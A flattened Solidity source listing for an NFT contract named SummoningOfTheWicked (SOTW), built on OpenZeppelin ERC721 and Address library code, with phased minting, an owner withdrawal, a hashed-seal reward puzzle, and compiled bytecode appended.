https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: SOTW.sol pragma solidity ^0.8.0; /// https://www.summonning.xyz /// https://twitter.com/WickedSummoning /// The sacrifice will start on April 15 contract SummoningOfTheWicked is ERC721 { using Strings for uint256; bool private revealed = false; address private owner; string public baseURI; uint256 private demons = 0; uint256 private maxDemons; uint256 constant MAX_DEMONS = 10000; uint256 constant MAX_SUMMON = 10; uint256 private demonSacrifice = 0.05 ether; uint256 constant MAX_SUMMONERS = 50; uint256 private portal = 0; mapping(address => mapping(uint256 => uint256)) summoned; uint256 private summoners; bytes32 public seal; uint256 public offering; constructor() ERC721("Summoning Of The Wicked", "SOTW") { owner = msg.sender; maxDemons = 500; } modifier isOwner() { require(msg.sender == owner, "NOT THE OWNER"); _; } modifier portalClosed() { require(portal % 2 == 0, "THE PORTAL IS OPENED"); _; } function sacrifice(uint256 summonning) public payable { require(msg.sender == tx.origin, "ONLY A HUMAN CAN SUMMON THE DEMONS"); require(portal % 2 == 1, "NO PORTAL IS OPENED"); require( msg.value >= summonning * demonSacrifice, "THIS IS A SMALL SACRIFICE" ); require(summonning > 0, "YOU ARE NOT SUMMONING ANYTHING"); require( summonning <= MAX_SUMMON, "YOU CAN NOT SUMMON MORE THAN 10 DEMONS" ); require( demons + summonning <= maxDemons, "ALL DEMONS HAVE BEEN SUMMONED" ); if (portal == 1) { require( summoned[msg.sender][portal] == 0, "YOU ALREADY MADE YOUR SACRIFICE" ); ++summoners; summoned[msg.sender][portal] = 1; if (summoners == MAX_SUMMONERS) { ++portal; } } else { require( summoned[msg.sender][portal] + summonning <= MAX_SUMMON, "YOU CAN NOT SUMMON MORE THAN 10 DEMONS" ); summoned[msg.sender][portal] += summonning; } for (uint256 i; i < summonning; ++i) { _mint(msg.sender, demons++); } if (portal > 1 && demons == maxDemons) { ++portal; } } function setSeal( bytes32 _seal, uint256 _sacrifice, uint256 _maxDemons ) public payable isOwner portalClosed { require(demons < MAX_DEMONS); seal = _seal; offering = msg.value; demonSacrifice = _sacrifice; maxDemons = _maxDemons > MAX_DEMONS ? MAX_DEMONS : _maxDemons; } function openPortal() public isOwner { require(portal++ == 0); } function openPortalSealed(string memory _seal) public portalClosed { require(offering > 0); require(demons < MAX_DEMONS, "ALL PORTALS WERE OPENED"); require( balanceOf(msg.sender) > 0, "GET A DEMON TO SHOW YOU THE PORTAL" ); require( keccak256(abi.encodePacked(_seal)) == seal, "YOU SAID THE SPELL AND NOTHING HAPPENED" ); _mint(msg.sender, demons++); ++portal; (bool success, ) = msg.sender.call{value: offering}(""); require(success, "Recovery failed."); offering = 0; } function setBaseURI(string memory uri, bool _revealed) public isOwner { baseURI = uri; revealed = _revealed; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return revealed ? string(abi.encodePacked(baseURI, tokenId.toString())) : baseURI; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function totalSupply() public view returns (uint256) { return demons; } function withdraw() public payable isOwner { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Recovery failed."); } function setOwner(address newOwner) public isOwner { owner = newOwner; } }
0x60806040526004361061014b5760003560e01c806370a08231116100b6578063b345ff451161006f578063b345ff4514610366578063b64b21ca14610386578063b88d4fde146103a6578063c87b56dd146103c6578063e178e051146103e6578063e985e9c5146103f957600080fd5b806370a08231146102d357806380ee4ed2146102f357806395d89b4114610306578063975775701461031b578063a22cb46514610330578063b266cb011461035057600080fd5b806323b872dd1161010857806323b872dd146102405780633ccfd60b146102605780633fb27b851461026857806342842e0e1461027e5780636352211e1461029e5780636c0360eb146102be57600080fd5b806301ffc9a71461015057806306fdde0314610185578063081812fc146101a7578063095ea7b3146101df57806313af40351461020157806318160ddd14610221575b600080fd5b34801561015c57600080fd5b5061017061016b366004611a8a565b610442565b60405190151581526020015b60405180910390f35b34801561019157600080fd5b5061019a610494565b60405161017c9190611b06565b3480156101b357600080fd5b506101c76101c2366004611b19565b610526565b6040516001600160a01b03909116815260200161017c565b3480156101eb57600080fd5b506101ff6101fa366004611b4e565b6105c0565b005b34801561020d57600080fd5b506101ff61021c366004611b78565b6106d5565b34801561022d57600080fd5b506008545b60405190815260200161017c565b34801561024c57600080fd5b506101ff61025b366004611b93565b61072c565b6101ff61075d565b34801561027457600080fd5b50610232600e5481565b34801561028a57600080fd5b506101ff610299366004611b93565b61081a565b3480156102aa57600080fd5b506101c76102b9366004611b19565b610835565b3480156102ca57600080fd5b5061019a6108ac565b3480156102df57600080fd5b506102326102ee366004611b78565b61093a565b6101ff610301366004611bcf565b6109c1565b34801561031257600080fd5b5061019a610a7c565b34801561032757600080fd5b506101ff610a8b565b34801561033c57600080fd5b506101ff61034b366004611c0b565b610ada565b34801561035c57600080fd5b50610232600f5481565b34801561037257600080fd5b506101ff610381366004611cea565b610b9e565b34801561039257600080fd5b506101ff6103a1366004611d1f565b610e04565b3480156103b257600080fd5b506101ff6103c1366004611d64565b610e5b565b3480156103d257600080fd5b5061019a6103e1366004611b19565b610e93565b6101ff6103f4366004611b19565b610fdd565b34801561040557600080fd5b50610170610414366004611de0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60006001600160e01b031982166380ac58cd60e01b148061047357506001600160e01b03198216635b5e139f60e01b145b8061048e57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546104a390611e0a565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90611e0a565b801561051c5780601f106104f15761010080835404028352916020019161051c565b820191906000526020600020905b8154815290600101906020018083116104ff57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166105a45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006105cb82610835565b9050806001600160a01b0316836001600160a01b0316036106385760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161059b565b336001600160a01b038216148061065457506106548133610414565b6106c65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161059b565b6106d0838361135f565b505050565b60065461010090046001600160a01b031633146107045760405162461bcd60e51b815260040161059b90611e44565b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b61073633826113cd565b6107525760405162461bcd60e51b815260040161059b90611e6b565b6106d08383836114c4565b60065461010090046001600160a01b0316331461078c5760405162461bcd60e51b815260040161059b90611e44565b604051600090339047908381818185875af1925050503d80600081146107ce576040519150601f19603f3d011682016040523d82523d6000602084013e6107d3565b606091505b50509050806108175760405162461bcd60e51b815260206004820152601060248201526f2932b1b7bb32b93c903330b4b632b21760811b604482015260640161059b565b50565b6106d083838360405180602001604052806000815250610e5b565b6000818152600260205260408120546001600160a01b03168061048e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161059b565b600780546108b990611e0a565b80601f01602080910402602001604051908101604052809291908181526020018280546108e590611e0a565b80156109325780601f1061090757610100808354040283529160200191610932565b820191906000526020600020905b81548152906001019060200180831161091557829003601f168201915b505050505081565b60006001600160a01b0382166109a55760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161059b565b506001600160a01b031660009081526003602052604090205490565b60065461010090046001600160a01b031633146109f05760405162461bcd60e51b815260040161059b90611e44565b6002600b546109ff9190611ed2565b15610a435760405162461bcd60e51b8152602060048201526014602482015273151211481413d4951053081254c813d41153915160621b604482015260640161059b565b61271060085410610a5357600080fd5b600e83905534600f55600a8290556127108111610a705780610a74565b6127105b600955505050565b6060600180546104a390611e0a565b60065461010090046001600160a01b03163314610aba5760405162461bcd60e51b815260040161059b90611e44565b600b8054906000610aca83611efc565b9091555015610ad857600080fd5b565b336001600160a01b03831603610b325760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161059b565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6002600b54610bad9190611ed2565b15610bf15760405162461bcd60e51b8152602060048201526014602482015273151211481413d4951053081254c813d41153915160621b604482015260640161059b565b6000600f5411610c0057600080fd5b61271060085410610c535760405162461bcd60e51b815260206004820152601760248201527f414c4c20504f5254414c532057455245204f50454e4544000000000000000000604482015260640161059b565b6000610c5e3361093a565b11610cb65760405162461bcd60e51b815260206004820152602260248201527f47455420412044454d4f4e20544f2053484f5720594f552054484520504f5254604482015261105360f21b606482015260840161059b565b600e5481604051602001610cca9190611f31565b6040516020818303038152906040528051906020012014610d3d5760405162461bcd60e51b815260206004820152602760248201527f594f55205341494420544845205350454c4c20414e44204e4f5448494e4720486044820152661054141153915160ca1b606482015260840161059b565b60088054610d5c913391906000610d5383611efc565b91905055611664565b600b60008154610d6b90611efc565b90915550600f5460405160009133918381818185875af1925050503d8060008114610db2576040519150601f19603f3d011682016040523d82523d6000602084013e610db7565b606091505b5050905080610dfb5760405162461bcd60e51b815260206004820152601060248201526f2932b1b7bb32b93c903330b4b632b21760811b604482015260640161059b565b50506000600f55565b60065461010090046001600160a01b03163314610e335760405162461bcd60e51b815260040161059b90611e44565b8151610e469060079060208501906119db565b506006805460ff191691151591909117905550565b610e6533836113cd565b610e815760405162461bcd60e51b815260040161059b90611e6b565b610e8d848484846117a6565b50505050565b6000818152600260205260409020546060906001600160a01b0316610f125760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161059b565b60065460ff16610fac5760078054610f2990611e0a565b80601f0160208091040260200160405190810160405280929190818152602001828054610f5590611e0a565b8015610fa25780601f10610f7757610100808354040283529160200191610fa2565b820191906000526020600020905b815481529060010190602001808311610f8557829003601f168201915b505050505061048e565b6007610fb7836117d9565b604051602001610fc8929190611f4d565b60405160208183030381529060405292915050565b3332146110375760405162461bcd60e51b815260206004820152602260248201527f4f4e4c5920412048554d414e2043414e2053554d4d4f4e205448452044454d4f6044820152614e5360f01b606482015260840161059b565b6002600b546110469190611ed2565b60011461108b5760405162461bcd60e51b81526020600482015260136024820152721393c81413d4951053081254c813d411539151606a1b604482015260640161059b565b600a546110989082611ff3565b3410156110e75760405162461bcd60e51b815260206004820152601960248201527f54484953204953204120534d414c4c2053414352494649434500000000000000604482015260640161059b565b600081116111375760405162461bcd60e51b815260206004820152601e60248201527f594f5520415245204e4f542053554d4d4f4e494e4720414e595448494e470000604482015260640161059b565b600a8111156111585760405162461bcd60e51b815260040161059b90612012565b600954816008546111699190612058565b11156111b75760405162461bcd60e51b815260206004820152601d60248201527f414c4c2044454d4f4e532048415645204245454e2053554d4d4f4e4544000000604482015260640161059b565b600b5460010361128257336000908152600c60209081526040808320600b5484529091529020541561122b5760405162461bcd60e51b815260206004820152601f60248201527f594f5520414c5245414459204d41444520594f55522053414352494649434500604482015260640161059b565b600d6000815461123a90611efc565b90915550336000908152600c60209081526040808320600b548452909152902060019055600d546031190161127d57600b6000815461127890611efc565b909155505b6112fd565b336000908152600c60209081526040808320600b548452909152902054600a906112ad908390612058565b11156112cb5760405162461bcd60e51b815260040161059b90612012565b336000908152600c60209081526040808320600b548452909152812080548392906112f7908490612058565b9091555050